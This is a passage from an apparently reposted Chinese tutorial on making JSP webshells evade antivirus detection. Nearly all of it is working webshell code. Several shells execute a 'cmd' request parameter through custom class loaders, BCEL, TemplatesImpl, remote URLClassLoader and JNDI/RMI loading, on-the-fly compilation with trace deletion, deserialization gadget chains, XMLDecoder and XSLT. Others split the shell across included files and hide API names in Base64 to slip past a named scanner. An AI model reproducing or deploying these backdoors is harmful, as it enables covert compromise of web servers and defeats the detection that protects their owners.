AZBbAAAAADABQAAAAiAAgAAAALAAgADAANAA0AHQAOACEADwAlABAALwARAEgAEwAVAAAAPgAGAAAASwAaABsAAAAIAEMAHAAdAAEADQA AB4AHwACAB0ALgAgACEAAwAhACoAIgAbAAQAJQAmACMAGwAFACQAAAAcAAL/ACUABgcAJQcAJgcAJwcAKAcAJQcAJQAAIgApAAAABAABACoAAQArAAAAAgAs");
PermissionCollection pc = new Permissions();
pc.add(new AllPermission());
ProtectionDomain protectionDomain = new ProtectionDomain(new CodeSource(null, (Certificate[]) null), pc, this, null);
return this.defineClass(name, bytes, 0, bytes.length, protectionDomain);
} catch (Exception e) {
e.printStackTrace();
}
return super.findClass(name);
}
};
String cmd = request.getParameter("cmd");
Class<?> shell = loader.loadClass("com.demo.Shell");
Object object = shell.newInstance();
Method dm = shell.getDeclaredMethod("runs",String.class);
response.getWriter().println(dm.invoke(object, cmd));
%>
免杀效果：
Apache Commons BCEL被包含在了JDK的原生库中，BCEL库提供了一系列用于分析、创建、修改Java Class文件的API用于处理字节码，但是com.sun.org.apache.bcel.internal.util.ClassLoader这个类加载器由于安全问题，在JDK7以上版本被移除，导致BCEL字节码的利用变得很局限。
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="com.sun.org.apache.xml.internal.security.utils.Base64" %>
<%@ page import="com.sun.org.apache.bcel.internal.classfile.Utility" %>
<%
byte[] bytes = Base64.decode("yv66vgAAADQAUAoAEAAtCgAuAC8KAC4AMAoAMQAyBwAzBwA0CgAGADUKAAUANggANwoABQA4BwA5CgALAC0KAAsAOgoACwA7BwA8BwA9AQAGPGluaXQ AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABBMY29tL2RlbW8vU2hlbGw7AQAEcnVucwEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAHcHJvY2VzcwEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAAJpcwEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEADmJ1ZmZlcmVkUmVhZGVyAQAYTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQABcgEAAXMBAA1TdGFja01hcFRhYmxlBwA BwA/BwBABwAzAQAKRXhjZXB0aW9ucwcAQQEAClNvdXJjZUZpbGUBAApTaGVsbC5qYXZhDAARABIHAEIMAEMARAwARQBGBwA/DABHAEgBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgwAEQBJDAARAEoBAAAMAEsATAEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDABNAE4MAE8ATAEADmNvbS9kZW1vL1NoZWxsAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nACEADwAQAAAAAAACAAEAEQASAAEAEwAAAC8AAQABAAAABSq3AAGxAAAAAgAUAAAABgABAAAACAAVAAAADAABAAAABQAWABcAAAAJABgAGQACABMAAADlAAUABgAAAEu4AAIqtgADTCu2AARNuwAFWbsABlkstwAHtwAIThIJOgQSCToFLbYAClk6BMYAHLsAC1m3AAwZBbYADRkEtgANtgAOOgWn/ AZBbAAAAADABQAAAAiAAgAAAALAAgADAANAA0AHQAOACEADwAlABAALwARAEgAEwAVAAAAPgAGAAAASwAaABsAAAAIAEMAHAAdAAEADQA AB4AHwACAB0ALgAgACEAAwAhACoAIgAbAAQAJQAmACMAGwAFACQAAAAcAAL/ACUABgcAJQcAJgcAJwcAKAcAJQcAJQAAIgApAAAABAABACoAAQArAAAAAgAs");
String code = Utility.encode(bytes, true);
String bcelCode = "$$BCEL$$" code;
com.sun.org.apache.bcel.internal.util.ClassLoader bcelClassLoader = new com.sun.org.apache.bcel.internal.util.ClassLoader();
Class<?> shell = bcelClassLoader.loadClass(bcelCode);
Object object = shell.newInstance();
Method dm = shell.getDeclaredMethod("runs",String.class);
String cmd = request.getParameter("cmd");
response.getWriter().println(dm.invoke(object, cmd));
%>
TemplatesImpl是fastjson反序列化漏洞中常用的对象之一，但是由于在TemplatesImpl触发漏洞点只是调用个无参构造，导致恶意类的类方法无法被调用，只能将恶意代码插入到无参构造方法，或者静态代码块中。
package com.demo;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Shell extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
注意：
这里的类必须继承自AbstractTranslet
<%@ page import="java.util.Base64" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" %>
<%@ page import="com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl" %>
<%
class Demo {
private void setFiledValue(Object obj, String fieldName, Object fieldValue) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, fieldValue);
}
public Demo(String s) {
try {
byte[] codes = Base64.getDecoder().decode(s);
byte[][] _bytecodes = new byte[][] {
codes,
};
TemplatesImpl templates = new TemplatesImpl();
setFiledValue(templates, "_bytecodes", _bytecodes);
setFiledValue(templates, "_name", "whatever");
setFiledValue(templates, "_tfactory", new TransformerFactoryImpl());
templates.newTransformer();
} catch (Exception e) {
e.printStackTrace();
}
}
}
new Demo("yv66vgAAADQAZgoAEwA/CgBAAEEKAEAAQgoAQwBEBwBFBwBGCgAGAEcKAAUASAgASQoABQBKBwBLCgALAD8KAAsATAoACwBNCABOBwBPCgAQAFAHAFEHAFIBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAEExjb20vZGVtby9TaGVsbDsBAARydW5zAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAANjbWQBABJMamF2YS9sYW5nL1N0cmluZzsBAAdwcm9jZXNzAQATTGphdmEvbGFuZy9Qcm9jZXNzOwEAAmlzAQAVTGphdmEvaW8vSW5wdXRTdHJlYW07AQAOYnVmZmVyZWRSZWFkZXIBABhMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsBAAFyAQABcwEADVN0YWNrTWFwVGFibGUHAFMHAFQHAFUHAEUBAApFeGNlcHRpb25zAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcAVgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAIPGNsaW5pdD4BAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247BwBPAQAKU291cmNlRmlsZQEAClNoZWxsLmphdmEMABQAFQcAVwwAWABZDABaAFsHAFQMAFwAXQEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyDAAUAF4MABQAXwEAAAwAYABhAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIMAGIAYwwAZABhAQAEY2FsYwEAE2phdmEvaW8vSU9FeGNlcHRpb24MAGUAFQEADmNvbS9kZW1vL1NoZWxsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAEGphdmEvbGFuZy9TdHJpbmcBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBAA9wcmludFN0YWNrVHJhY2UAIQASABMAAAAAAAUAAQAUABUAAQAWAAAALwABAAEAAAAFKrcAAbEAAAACABcAAAAGAAEAAAAOABgAAAAMAAEAAAAFABkAGgAAAAkAGwAcAAIAFgAAAOUABQAGAAAAS7gAAiq2AANMK7YABE27AAVZuwAGWSy3AAe3AAhOEgk6BBIJOgUttgAKWToExgAcuwALWbcADBkFtgANGQS2AA22AA46Baf/4BkFsAAAAAMAFwAAACIACAAAABcACAAYAA0AGQAdABoAIQAbACUAHAAvAB0ASAAfABgAAAA AAYAAABLAB0AHgAAAAgAQwAfACAAAQANAD4AIQAiAAIAHQAuACMAJAADACEAKgAlAB4ABAAlACYAJgAeAAUAJwAAABwAAv8AJQAGBwAoBwApBwAqBwArBwAoBwAoAAAiACwAAAAEAAEAEAABAC0ALgACABYAAAA/AAAAAwAAAAGxAAAAAgAXAAAABgABAAAAJQAYAAAAIAADAAAAAQAZABoAAAAAAAEALwAwAAEAAAABADEAMgACACwAAAAEAAEAMwABAC0ANAACABYAAABJAAAABAAAAAGxAAAAAgAXAAAABgABAAAAKgAYAAAAKgAEAAAAAQAZABoAAAAAAAEALwAwAAEAAAABADUANgACAAAAAQA3ADgAAwAsAAAABAABADMACAA5ABUAAQAWAAAAYQACAAEAAAASuAACEg 2AANXpwAISyq2ABGxAAEAAAAJAAwAEAADABcAAAAWAAUAAAARAAkAFAAMABIADQATABEAFQAYAAAADAABAA0ABAA6ADsAAAAnAAAABwACTAcAPAQAAQA9AAAAAgA ");
%>
在这里由于不能调用恶意类的类方法和有参构造，导致无法动态的执行命令，虽然如此但依旧可能利用ASM，javassist这些字节码框架来动态生成恶意类，进行动态的调用命令，在本文先不在探讨如何利用，
利用的方式将会在后期文章中讲解。
URLClassLoader一般有两种利用方式，一种是远程加载class文件，一种是本地加载class文件。
远程加载class文件免杀：直接利用远程在家class文件的好处是代码量少，特征少。但是由于需要一个外网主机作为服务器，远程可能存在着被溯源的可能性。
<%@ page import="java.net.URL" %>
<%@ page import="java.net.URLClassLoader" %>
<%@ page import="java.lang.reflect.Method" %>
<%
String cmd = request.getParameter("cmd");
URL url = new URL("http://127.0.0.1:8000/");
URLClassLoader classLoader = new URLClassLoader(new URL[]{url});
System.out.println("父类加载器：" classLoader.getParent()); // 默认父类加载器是系统类加载器
Class shell = classLoader.loadClass("com.demo.Shell");
Object object = shell.newInstance();
Method dm = shell.getDeclaredMethod("runs",String.class);
Object invoke = dm.invoke(object, cmd);
response.getWriter().println(invoke);
%>
这里讲解一下服务端如何搭建：
第一步：在一个文件夹中使用python开启一个http服务
python -m http.server
第二步：将编译好的class文件，根据全限定类名创建相应的文件夹，并导入class文件
以上两步即可完成搭建
免杀效果：
该免杀方式为先写入一个java马，利用JavaCompiler将其在jvm运行时编译成class文件，及javac动态编译，在利用urlclassloader加载编译好的class文件，为了消除特征以下的base64编码的内容就是之前写好的webshell代码。由于这种方式会创建java，class文件，为了隐蔽性，在这里将删除的文件在进行了删除处理。
<%@ page import="java.net.URL" %>
<%@ page import="java.net.URLClassLoader" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.FileWriter" %>
<%@ page import="java.util.Base64" %>
<%@ page import="java.io.IOException" %>
<%@ page import="javax.tools.JavaCompiler" %>
<%@ page import="javax.tools.ToolProvider" %>
<%@ page import="java.io.File" %>
<%
class delete{
public void deleteDir(File directory){
File files[] = directory.listFiles();
for (File file : files) {
if(file.isDirectory()){
deleteDir(file);
}else {
file.delete();
}
}
directory.delete();
}
}
String cmd = request.getParameter("cmd");
String base64Code = "cGFja2FnZSBjb20uZGVtbzsgIGltcG9ydCBqYXZhLmlvLkJ1ZmZlcmVkUmVhZGVyOyBpbXBvcnQgamF2YS5pby5JT0V4Y2VwdGlvbjsgaW1wb3J0IGphdmEuaW8uSW5wdXRTdHJlYW07IGltcG9ydCBqYXZhLmlvLklucHV0U3RyZWFtUmVhZGVyOyAgcHVibGljIGNsYXNzIFNoZWxsIHsgICAgIHB1YmxpYyBzdGF0aWMgU3RyaW5nIHJ1bnMoU3RyaW5nIGNtZCkgdGhyb3dzIElPRXhjZXB0aW9uIHsgICAgICAgICBQcm9jZXNzIHByb2Nlc3MgPSBSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKGNtZCk7ICAgICAgICAgSW5wdXRTdHJlYW0gaXMgPSBwcm9jZXNzLmdldElucHV0U3RyZWFtKCk7ICAgICAgICAgQnVmZmVyZWRSZWFkZXIgYnVmZmVyZWRSZWFkZXIgPSBuZXcgQnVmZmVyZWRSZWFkZXIobmV3IElucHV0U3RyZWFtUmVhZGVyKGlzKSk7ICAgICAgICAgU3RyaW5nIHIgPSAiIjsgICAgICAgICBTdHJpbmcgcyA9ICIiOyAgICAgICAgIHdoaWxlKChyID0gYnVmZmVyZWRSZWFkZXIucmVhZExpbmUoKSkhPW51bGwpeyAgICAgICAgICAgICBzICs9IHI7ICAgICAgICAgfSAgICAgICAgIHJldHVybiBzOyAgICAgfSAgfQ==";
FileWriter writer;
try {
writer = new FileWriter(System.getProperty("user.dir") "\\Shell.java");
writer.write(new String(Base64.getDecoder().decode(base64Code)));
writer.flush();
writer.close();
} catch (IOException e) {
e.printStackTrace();
}
try {
JavaCompiler javac = ToolProvider.getSystemJavaCompiler();
int status = javac.run(null, null, null, "-d", System.getProperty("user.dir"),System.getProperty("user.dir") "\\Shell.java");
if(status!=0){
response.getWriter().println(System.getProperty("user.dir"));
}
URLClassLoader classLoader = new URLClassLoader(new URL[]{new File(String.valueOf(System.getProperty("user.dir"))).toURI().toURL()});
Class shell = classLoader.loadClass("com.demo.Shell");
Object object = shell.newInstance();
Method dm = shell.getDeclaredMethod("runs",String.class);
Object invoke = dm.invoke(object, cmd);
response.getWriter().println(invoke);
new delete().deleteDir(new File(System.getProperty("user.dir") "\\com"));
new delete().deleteDir(new File(System.getProperty("user.dir") "\\Shell.java"));
} catch (Exception e) {
e.printStackTrace();
}
%>
免杀效果：
如果大家学过shellcode的免杀，我想都会有一种似曾相识的感觉，没错，这里的字节码类似与shellcode，而类加载器类似于shellcode加载器。本文讲解了最常用的生成字节码的方式，以及利用类加载器加载字节码达到免杀效果。
本章主要讲解，如何利用通用漏洞来进行命令执行，从而达到免杀效果
这种方式就相当于直接触发提供一个反序列化漏洞入口，但是能否被利用，还是在于服务端本身是否存在反序列化漏洞，下面给了一个例子，使用cc1链构建的webshell。
<%@ page import="java.io.*" %>
<%@ page import="org.apache.commons.collections.Transformer" %>
<%@ page import="org.apache.commons.collections.functors.ConstantTransformer" %>
<%@ page import="org.apache.commons.collections.functors.InvokerTransformer" %>
<%@ page import="org.apache.commons.collections.functors.ChainedTransformer" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="org.apache.commons.collections.map.LazyMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.lang.reflect.InvocationHandler" %>
<%@ page import="java.lang.annotation.Retention" %>
<%@ page import="java.lang.reflect.Proxy" %>
<%
String cmd = request.getParameter("cmd");
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { cmd }) };
Transformer transformerChain = new ChainedTransformer(transformers);
Map innermap = new HashMap();
Map outmap = LazyMap.decorate(innermap, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outmap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler)construct.newInstance(Retention.class, proxyMap);
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(handler);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();
%>
免杀效果：
可见由于调用的函数太多，特征也非常明显，这里算是提供一些思路。
想必大家都分析Weblogic的xmlDecoder反序列化漏洞，XMLDecoder免杀其实就是利用XMLDecoder处理恶意的xml文件导致命令执行，并没有太多常见命令函数的特征，免杀效果不错。
<%@ page import="java.beans.XMLDecoder" %>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String s = "<object class=\"java.lang.ProcessBuilder\">\n"
"<array class=\"java.lang.String\" length=\"3\">\n"
"<void index=\"0\">\n"
"<string>cmd.exe</string>\n"
"</void>\n"
"<void index=\"1\">\n"
"<string>/c</string>\n"
"</void>\n"
"<void index=\"2\">\n"
"<string>" cmd "</string>\n"
"</void>\n"
"</array>\n"
"<void method=\"start\" />\n"
"</object>\n";
XMLDecoder xd = new XMLDecoder(new ByteArrayInputStream(s.getBytes()));
ProcessBuilder process = (ProcessBuilder) xd.readObject();
InputStream is = process.start().getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
String r = null;
while((r = bufferedReader.readLine())!=null){
response.getWriter().println(r);
}
%>
其实就是利用XSLT注入来执行命令，但值得注意的是XSLT注入笔者目前并没有想到合适的方法让内容回显，因为XSLT貌似只能执行静态方法且返回值都是以String类型返回，导致process中的数据很难取出来。
<%@ page import="java.io.*" %>
<%@ page import="javax.xml.transform.Transformer" %>
<%@ page import="javax.xml.transform.stream.StreamResult" %>
<%@ page import="javax.xml.transform.TransformerFactory" %>
<%@ page import="javax.xml.transform.stream.StreamSource" %>
<%
String cmd = request.getParameter("cmd");
String s = " <xsl:stylesheet version=\"1.0\" "
"xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" "
"xmlns:rt=\"java.lang.Runtime\"> "
" <xsl:template match=\"/\">\n"
" <xsl:variable name=\"rtobject\" select=\"rt:getRuntime()\"/>\n"
" <xsl:variable name=\"process\" select=\"rt:exec($rtobject,'" cmd "')\"/>\n"
" <xsl:variable name=\"ddd\" select=\"$process\"/>\n"
" <xsl:value-of select=\"$ddd\"/>\n"
" </xsl:template>\n"
" </xsl:stylesheet>";
InputStream in = new ByteArrayInputStream(s.getBytes());
StreamResult result = new StreamResult(new ByteArrayOutputStream());
Transformer t = TransformerFactory.newInstance().newTransformer(new StreamSource(in));
t.transform(new StreamSource(new ByteArrayInputStream("<?xml version=\"1.0\" encoding=\"UTF-8\"?><data></data>".getBytes())),result);
%>
攻击者：
package com.demo;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Demo2 {
public static void main(String[] args) throws Exception {
try {
Registry registry = LocateRegistry.createRegistry(1099);
Reference aa = new Reference("Calc", "Calc", "http://127.0.0.1/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
registry.bind("hello", refObjWrapper);
} catch (Exception e) {
e.printStackTrace();
}
}
}
恶意类：
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
public class Calc implements ObjectFactory {
public Calc() {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {
}
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
System.out.println(nameCtx);
//Runtime.getRuntime().exec("calc");
return null;
}
}
webshell：
<%@ page import="javax.naming.Context" %>
<%@ page import="javax.naming.InitialContext" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
try {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
String uri = "rmi://127.0.0.1:1099/hello";
Context ctx = new InitialContext();
ctx.lookup(uri);
} catch (Exception e) {
e.printStackTrace();
}
%>
本章主要是通过自己创造漏洞来执行命令，而我们用到的这些函数其实也是业务中比较常见的函数，且如果不了解漏洞原理，也不好分析是否是webshell
本章只要将之前没讲的一些免杀反射进行补充
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@page language="java" pageEncoding="utf-8" %>
<%@ include file = "1.jpg" %>
1.jpg
<%
String cmd = request.getParameter("cmd");
Process process = Runtime.getRuntime().exec(cmd);
InputStream is = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
String r = null;
while((r = bufferedReader.readLine())!=null){
response.getWriter().println(r);
}
%>
免杀效果：
可以看到某盾会查杀jpg文件，这样的话，我们就在分解成多个部分
这里我们分成两部分进行包含
发现依旧绕不过，其实原因就是杀软的匹配规则，有的是单一匹配，有的是同时匹配，因此我们换一个之前不免杀的webshell（由于两处及以上特征存在导致被查杀）
正常运行
某盾不在查杀
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.*" %>
<%@ page import="java.util.Base64" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%@ include file = "1.jpg" %>
<%@ include file = "2.txt" %>
1.jpg
<%
String cmd = request.getParameter(new String(Base64.getDecoder().decode("Y21k"),"utf-8"));
Class<?> rt =Class.forName(new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU="),"utf-8"));
Method runtimeMethod = rt.getDeclaredMethod(new String(Base64.getDecoder().decode("Z2V0UnVudGltZQ=="),"utf-8"));
Method method = rt.getDeclaredMethod(new String(Base64.getDecoder().decode("ZXhlYw=="),"utf-8"), String.class);
Object object = method.invoke(runtimeMethod.invoke(null),cmd);
Process process = (Process) object;
%>
2.txt
<%
InputStream is = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
String r = null;
while((r = bufferedReader.readLine())!=null){
response.getWriter().println(r);
}
%>
java的免杀只要就是在于如何利用字节码，jsp特性，创建漏洞，少见的API等方式去绕过杀软的正则表达式，一般的杀软为了降低误报率，其实规则写的并不苛刻，还是比较好绕过了，多种免杀一起使用可以达到比较好的效果，其实学免杀，并不是盲目去测试，而且要了解更多的语言特性，就相当于游戏规则，当你足够了解游戏规则，再去测试杀软的规则，才能游刃有余。从才开始的php到现在的jsp，免杀系列已经写了10来篇了，weshell免杀就此先告一段落，后面如果有新的知识点也会继续补充，感谢大家。
原文链接：https://f5.pm/go-126866.html?utm_source=tuicool&utm_medium=referral
,免责声明：本文仅代表文章作者的个人观点，与本站无关。其原创性、真实性以及文中陈述文字和内容未经本站证实，对本文以及其中全部或者部分内容文字的真实性、完整性和原创性本站不作任何保证或承诺，请读者仅作参考，并自行核实相关内容。文章投诉邮箱：anhduc.ph@yahoo.com
